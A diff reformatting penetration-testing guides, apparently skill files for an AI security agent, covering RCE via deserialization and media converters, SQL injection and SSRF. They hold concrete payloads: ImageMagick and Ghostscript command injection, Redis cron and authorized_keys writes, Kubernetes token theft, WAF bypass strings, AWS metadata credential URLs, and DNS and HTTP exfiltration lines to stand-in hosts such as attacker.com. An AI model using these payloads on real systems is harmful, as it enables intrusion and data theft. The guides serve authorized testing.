## Deserialization And El
|
### Deserialization and EL
|
||||||
|
|
||||||
- Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
|
**Java**
|
||||||
- .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
|
- Gadget chains via CommonsCollections/BeanUtils/Spring
|
||||||
- PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
|
- Tools: ysoserial
|
||||||
- Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
|
- JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
|
||||||
- Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
|
|
||||||
|
|
||||||
## Media And Document Pipelines
|
**.NET**
|
||||||
|
- BinaryFormatter/DataContractSerializer
|
||||||
|
- APIs accepting untrusted ViewState without MAC
|
||||||
|
|
||||||
- ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
|
**PHP**
|
||||||
|
- `unserialize()` and PHAR metadata
|
||||||
|
- Autoloaded gadget chains in frameworks and plugins
|
||||||
|
|
||||||
|
**Python/Ruby**
|
||||||
|
- pickle, `yaml.load`/`unsafe_load`, Marshal
|
||||||
|
- Auto-deserialization in message queues/caches
|
||||||
|
|
||||||
|
**Expression Languages**
|
||||||
|
- OGNL/SpEL/MVEL/EL reaching Runtime/ProcessBuilder/exec
|
||||||
|
|
||||||
|
### Media and Document Pipelines
|
||||||
|
|
||||||
|
**ImageMagick/GraphicsMagick**
|
||||||
|
- policy.xml may limit delegates; still test legacy vectors
|
||||||
```
|
```
|
||||||
Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
|
push graphic-context
|
||||||
|
fill 'url(https://x.tld/a"|id>/tmp/o")'
|
||||||
|
pop graphic-context
|
||||||
```
|
```
|
||||||
- Ghostscript: PostScript in PDFs/PS; `%pipe%id` file operators
|
|
||||||
- ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
|
|
||||||
- LaTeX: \write18/--shell-escape, \input piping; pandoc filters
|
|
||||||
- ffmpeg: concat/protocol tricks mediated by compile-time flags
|
|
||||||
|
|
||||||
## Ssrf To Rce
|
**Ghostscript**
|
||||||
|
- PostScript in PDFs/PS: `%pipe%id` file operators
|
||||||
|
|
||||||
- FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
|
**ExifTool**
|
||||||
- Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
|
- Crafted metadata invoking external tools or library bugs
|
||||||
- Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
|
|
||||||
|
|
||||||
## Container And Kubernetes
|
**LaTeX**
|
||||||
|
- `\write18`/`--shell-escape`, `\input` piping; pandoc filters
|
||||||
|
|
||||||
### Docker
|
**ffmpeg**
|
||||||
|
- concat/protocol tricks mediated by compile-time flags
|
||||||
|
|
||||||
- From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
|
### SSRF to RCE
|
||||||
- Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
|
|
||||||
|
|
||||||
### Kubernetes
|
**FastCGI**
|
||||||
|
- `gopher://` to php-fpm (build FPM records to invoke system/exec)
|
||||||
|
|
||||||
- Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
|
**Redis**
|
||||||
- Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
|
- `gopher://` write cron/authorized_keys or webroot
|
||||||
- Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
|
- Module load when allowed
|
||||||
|
|
||||||
## Post Exploitation
|
**Admin Interfaces**
|
||||||
|
- Jenkins script console, Spark UI, Jupyter kernels reachable internally
|
||||||
|
|
||||||
- Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
|
### Container and Kubernetes
|
||||||
- Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
|
|
||||||
- Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
|
|
||||||
|
|
||||||
## Waf And Filter Bypasses
|
**Docker**
|
||||||
|
- From app RCE, inspect `/.dockerenv`, `/proc/1/cgroup`
|
||||||
|
- Enumerate mounts and capabilities: `capsh --print`
|
||||||
|
- Abuses: mounted docker.sock, hostPath mounts, privileged containers
|
||||||
|
- Write to `/proc/sys/kernel/core_pattern` or mount host with `--privileged`
|
||||||
|
|
||||||
- Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
|
**Kubernetes**
|
||||||
- Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
|
- Steal service account token from `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||||
|
- Query API for pods/secrets; enumerate RBAC
|
||||||
|
- Talk to kubelet on 10250/10255; exec into pods
|
||||||
|
- Escalate via privileged pods, hostPath mounts, or daemonsets
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
**Encoding Differentials**
|
||||||
|
- URL encoding, Unicode normalization, comment insertion, mixed case
|
||||||
|
- Request smuggling to reach alternate parsers
|
||||||
|
|
||||||
|
**Binary Alternatives**
|
||||||
|
- Absolute paths and alternate binaries (busybox, sh, env)
|
||||||
|
- Windows variations (PowerShell vs CMD)
|
||||||
|
- Constrained language bypasses
|
||||||
|
|
||||||
|
## Post-Exploitation
|
||||||
|
|
||||||
|
**Privilege Escalation**
|
||||||
|
- `sudo -l`; SUID binaries; capabilities (`getcap -r / 2>/dev/null`)
|
||||||
|
|
||||||
|
**Persistence**
|
||||||
|
- cron/systemd/user services; web shell behind auth
|
||||||
|
- Plugin hooks; supply chain in CI/CD
|
||||||
|
|
||||||
|
**Lateral Movement**
|
||||||
|
- SSH keys, cloud metadata credentials, internal service tokens
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Identify sinks** - Command wrappers, template rendering, deserialization, file converters, report generators, plugin hooks
|
||||||
|
2. **Establish oracle** - Timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag)
|
||||||
|
3. **Confirm context** - User, working directory, PATH, shell, SELinux/AppArmor, containerization
|
||||||
|
4. **Map boundaries** - Read/write locations, outbound egress
|
||||||
|
5. **Progress to control** - File write, scheduled execution, service restart hooks
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
|
1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution
|
||||||
2. Show command context (uid, gid, cwd, env) and controlled output.
|
2. Show command context (uid, gid, cwd, env) and controlled output
|
||||||
3. Demonstrate persistence or file write under application constraints.
|
3. Demonstrate persistence or file write under application constraints
|
||||||
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
|
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed
|
||||||
5. Keep PoCs minimal and reproducible across runs and transports.
|
5. Keep PoCs minimal and reproducible across runs and transports
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
@@ -143,14 +225,14 @@ Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop grap
|
|||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
|
1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise
|
||||||
2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
|
2. When command injection is weak, pivot to file write or deserialization/SSTI paths
|
||||||
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
|
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates
|
||||||
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads.
|
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads
|
||||||
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
|
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps
|
||||||
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
|
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies
|
||||||
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
|
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.
|
RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.
|
||||||
|
|||||||
@@ -1,125 +1,162 @@
|
|||||||
# SQL INJECTION
|
---
|
||||||
|
name: sql-injection
|
||||||
|
description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# SQL Injection
|
||||||
|
|
||||||
SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
|
SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
|
**Databases**
|
||||||
|
- Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
|
||||||
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
|
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
|
||||||
- Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters
|
|
||||||
|
|
||||||
## Methodology
|
**Integration Paths**
|
||||||
|
- ORMs, query builders, stored procedures
|
||||||
|
- Search servers, reporting/exporters
|
||||||
|
|
||||||
1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values.
|
**Input Locations**
|
||||||
2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle.
|
- Path/query/body/header/cookie
|
||||||
3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS.
|
- Mixed encodings (URL, JSON, XML, multipart)
|
||||||
4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible.
|
|
||||||
|
|
||||||
## Injection Surfaces
|
|
||||||
|
|
||||||
- Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart)
|
|
||||||
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
|
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
|
||||||
- Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators
|
- Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs
|
||||||
|
- JSON coercion or array containment operators
|
||||||
- Batch/bulk endpoints and report generators that embed filters directly
|
- Batch/bulk endpoints and report generators that embed filters directly
|
||||||
|
|
||||||
## Detection Channels
|
## Detection Channels
|
||||||
|
|
||||||
- Error-based: provoke type/constraint/parser errors revealing stack/version/paths
|
**Error-Based**
|
||||||
- Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag
|
- Provoke type/constraint/parser errors revealing stack/version/paths
|
||||||
- Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise
|
|
||||||
- Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives
|
|
||||||
|
|
||||||
## Union Visibility
|
**Boolean-Based**
|
||||||
|
- Pair requests differing only in predicate truth
|
||||||
|
- Diff status/body/length/ETag
|
||||||
|
|
||||||
- Determine column count and types via ORDER BY n and UNION SELECT null,...
|
**Time-Based**
|
||||||
- Align types with CAST/CONVERT; coerce to text/json for rendering
|
- `SLEEP`/`pg_sleep`/`WAITFOR`
|
||||||
- When UNION is filtered, consider error-based or blind channels
|
- Use subselect gating to avoid global latency noise
|
||||||
|
|
||||||
## Dbms Primitives
|
**Out-of-Band (OAST)**
|
||||||
|
- DNS/HTTP callbacks via DB-specific primitives
|
||||||
|
|
||||||
### Mysql
|
## DBMS Primitives
|
||||||
|
|
||||||
- Version/user/db: @@version, database(), user(), current_user()
|
### MySQL
|
||||||
- Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
|
|
||||||
- File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
|
|
||||||
- OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
|
|
||||||
- Time: SLEEP(n), BENCHMARK
|
|
||||||
- JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak
|
|
||||||
|
|
||||||
### Postgresql
|
- Version/user/db: `@@version`, `database()`, `user()`, `current_user()`
|
||||||
|
- Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping
|
||||||
|
- File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv)
|
||||||
|
- OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))`
|
||||||
|
- Time: `SLEEP(n)`, `BENCHMARK`
|
||||||
|
- JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak
|
||||||
|
|
||||||
- Version/user/db: version(), current_user, current_database()
|
### PostgreSQL
|
||||||
- Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
|
|
||||||
- OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
|
|
||||||
- Time: pg_sleep(n)
|
|
||||||
- Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
|
|
||||||
- JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction
|
|
||||||
|
|
||||||
### Mssql
|
- Version/user/db: `version()`, `current_user`, `current_database()`
|
||||||
|
- Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2
|
||||||
|
- OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions
|
||||||
|
- Time: `pg_sleep(n)`
|
||||||
|
- Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export`
|
||||||
|
- JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction
|
||||||
|
|
||||||
- Version/db/user: @@version, db_name(), system_user, user_name()
|
### MSSQL
|
||||||
- OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
|
|
||||||
- Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
|
- Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`
|
||||||
- Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
|
- OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled
|
||||||
- Error-based: convert/parse, divide by zero, FOR XML PATH leaks
|
- Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE`
|
||||||
|
- Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays
|
||||||
|
- Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks
|
||||||
|
|
||||||
### Oracle
|
### Oracle
|
||||||
|
|
||||||
- Version/db/user: banner from v$version, ora_database_name, user
|
- Version/db/user: banner from `v$version`, `ora_database_name`, `user`
|
||||||
- OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
|
- OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent)
|
||||||
- Time: dbms_lock.sleep(n)
|
- Time: `dbms_lock.sleep(n)`
|
||||||
- Error-based: to_number/to_date conversions, XMLType
|
- Error-based: `to_number`/`to_date` conversions, `XMLType`
|
||||||
- File: UTL_FILE with directory objects (privileged)
|
- File: `UTL_FILE` with directory objects (privileged)
|
||||||
|
|
||||||
## Blind Extraction
|
## Key Vulnerabilities
|
||||||
|
|
||||||
- Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
|
### UNION-Based Extraction
|
||||||
- Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize
|
|
||||||
- Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)
|
|
||||||
|
|
||||||
## Out Of Band
|
- Determine column count and types via `ORDER BY n` and `UNION SELECT null,...`
|
||||||
|
- Align types with `CAST`/`CONVERT`; coerce to text/json for rendering
|
||||||
|
- When UNION is filtered, switch to error-based or blind channels
|
||||||
|
|
||||||
- Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params
|
### Blind Extraction
|
||||||
- MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://<data>.attacker'); MySQL: LOAD_FILE with UNC
|
|
||||||
|
|
||||||
## Write Primitives
|
- Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
|
||||||
|
- Binary search on character space for fewer requests
|
||||||
|
- Encode outputs (hex/base64) to normalize
|
||||||
|
- Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`
|
||||||
|
|
||||||
|
### Out-of-Band
|
||||||
|
|
||||||
|
- Prefer OAST to minimize noise and bypass strict response paths
|
||||||
|
- Embed data in DNS labels or HTTP query params
|
||||||
|
- MSSQL: `xp_dirtree \\\\<data>.attacker.tld\\a`
|
||||||
|
- Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`
|
||||||
|
- MySQL: `LOAD_FILE` with UNC path
|
||||||
|
|
||||||
|
### Write Primitives
|
||||||
|
|
||||||
- Auth bypass: inject OR-based tautologies or subselects into login checks
|
- Auth bypass: inject OR-based tautologies or subselects into login checks
|
||||||
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
|
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
|
||||||
- File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal
|
- File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection
|
||||||
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
|
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
|
||||||
|
|
||||||
## Waf And Parser Bypasses
|
### ORM and Query Builders
|
||||||
|
|
||||||
- Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space)
|
- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses
|
||||||
- Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding
|
|
||||||
- Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e)
|
|
||||||
- Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens
|
|
||||||
- Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape
|
|
||||||
|
|
||||||
## Orm And Query Builders
|
|
||||||
|
|
||||||
- Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
|
|
||||||
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
|
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
|
||||||
- JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
|
- JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments
|
||||||
- Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))
|
- Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`)
|
||||||
|
|
||||||
## Uncommon Contexts
|
### Uncommon Contexts
|
||||||
|
|
||||||
- ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
|
- ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels
|
||||||
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
|
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
|
||||||
- Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
|
- Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing
|
||||||
- XML/JSON functions: error generation via malformed documents/paths
|
- XML/JSON functions: error generation via malformed documents/paths
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
**Whitespace/Spacing**
|
||||||
|
- `/**/`, `/**/!00000`, comments, newlines, tabs
|
||||||
|
- `0xe3 0x80 0x80` (ideographic space)
|
||||||
|
|
||||||
|
**Keyword Splitting**
|
||||||
|
- `UN/**/ION`, `U%4eION`, backticks/quotes, case folding
|
||||||
|
|
||||||
|
**Numeric Tricks**
|
||||||
|
- Scientific notation, signed/unsigned, hex (`0x61646d696e`)
|
||||||
|
|
||||||
|
**Encodings**
|
||||||
|
- Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
|
||||||
|
- `char()`/`CONCAT_ws` to build tokens
|
||||||
|
|
||||||
|
**Clause Relocation**
|
||||||
|
- Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
|
||||||
|
2. **Determine input influence** - User input in identifiers vs values
|
||||||
|
3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks
|
||||||
|
4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based
|
||||||
|
5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
|
||||||
|
6. **Pivot to metadata** - version, current user, database name
|
||||||
|
7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible
|
||||||
|
|
||||||
## Validation
|
## Validation
|
||||||
|
|
||||||
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates.
|
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
|
||||||
2. Extract verifiable metadata (version, current user, database name) using the established channel.
|
2. Extract verifiable metadata (version, current user, database name) using the established channel
|
||||||
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope.
|
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
|
||||||
4. Provide reproducible requests that differ only in the injected fragment.
|
4. Provide reproducible requests that differ only in the injected fragment
|
||||||
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant).
|
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)
|
||||||
|
|
||||||
## False Positives
|
## False Positives
|
||||||
|
|
||||||
@@ -137,17 +174,17 @@ SQLi remains one of the most durable and impactful classes. Modern exploitation
|
|||||||
|
|
||||||
## Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Pick the quietest reliable oracle first; avoid noisy long sleeps.
|
1. Pick the quietest reliable oracle first; avoid noisy long sleeps
|
||||||
2. Normalize responses (length/ETag/digest) to reduce variance when diffing.
|
2. Normalize responses (length/ETag/digest) to reduce variance when diffing
|
||||||
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise.
|
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
|
||||||
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available.
|
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
|
||||||
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw.
|
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw`
|
||||||
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly.
|
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
|
||||||
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels.
|
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
|
||||||
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types.
|
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
|
||||||
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly.
|
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
|
||||||
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions.
|
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions
|
||||||
|
|
||||||
## Remember
|
## Summary
|
||||||
|
|
||||||
Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.
|
Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.
|
||||||
|
|||||||
@@ -1,139 +1,181 @@
|
|||||||
# SERVER-SIDE REQUEST FORGERY (SSRF)
|
---
|
||||||
|
name: ssrf
|
||||||
|
description: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# SSRF
|
||||||
|
|
||||||
SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.
|
Server-Side Request Forgery enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
|
**Scope**
|
||||||
- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
|
- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
|
||||||
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
|
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
|
||||||
- Service-to-service hops through gateways and sidecars (envoy/nginx)
|
- Service-to-service hops through gateways and sidecars (envoy/nginx)
|
||||||
- Cloud and platform metadata endpoints, instance services, and control planes
|
- Cloud and platform metadata endpoints, instance services, and control planes
|
||||||
|
|
||||||
## Methodology
|
**Direct URL Params**
|
||||||
|
- `url=`, `link=`, `fetch=`, `src=`, `webhook=`, `avatar=`, `image=`
|
||||||
|
|
||||||
1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks).
|
**Indirect Sources**
|
||||||
2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations.
|
- Open Graph/link previews, PDF/image renderers
|
||||||
3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries.
|
- Server-side analytics (Referer trackers), import/export jobs
|
||||||
4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible.
|
- Webhooks/callback verifiers
|
||||||
|
|
||||||
## Injection Surfaces
|
**Protocol-Translating Services**
|
||||||
|
- PDF via wkhtmltopdf/Chrome headless, image pipelines
|
||||||
|
- Document parsers, SSO validators, archive expanders
|
||||||
|
|
||||||
- Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image=
|
**Less Obvious**
|
||||||
- Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers
|
- GraphQL resolvers that fetch by URL
|
||||||
- Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders
|
- Background crawlers, repository/package managers (git, npm, pip)
|
||||||
- Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers
|
- Calendar (ICS) fetchers
|
||||||
|
|
||||||
## Cloud And Platforms
|
## High-Value Targets
|
||||||
|
|
||||||
### Aws
|
### AWS
|
||||||
|
|
||||||
- IMDSv1: http://169.254.169.254/latest/meta-data/ → `/iam/security-credentials/{role}`, `/user-data`
|
- IMDSv1: `http://169.254.169.254/latest/meta-data/` → `/iam/security-credentials/{role}`, `/user-data`
|
||||||
- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
|
- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs
|
||||||
|
- If sink cannot set headers or methods, seek intermediaries that can
|
||||||
- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
|
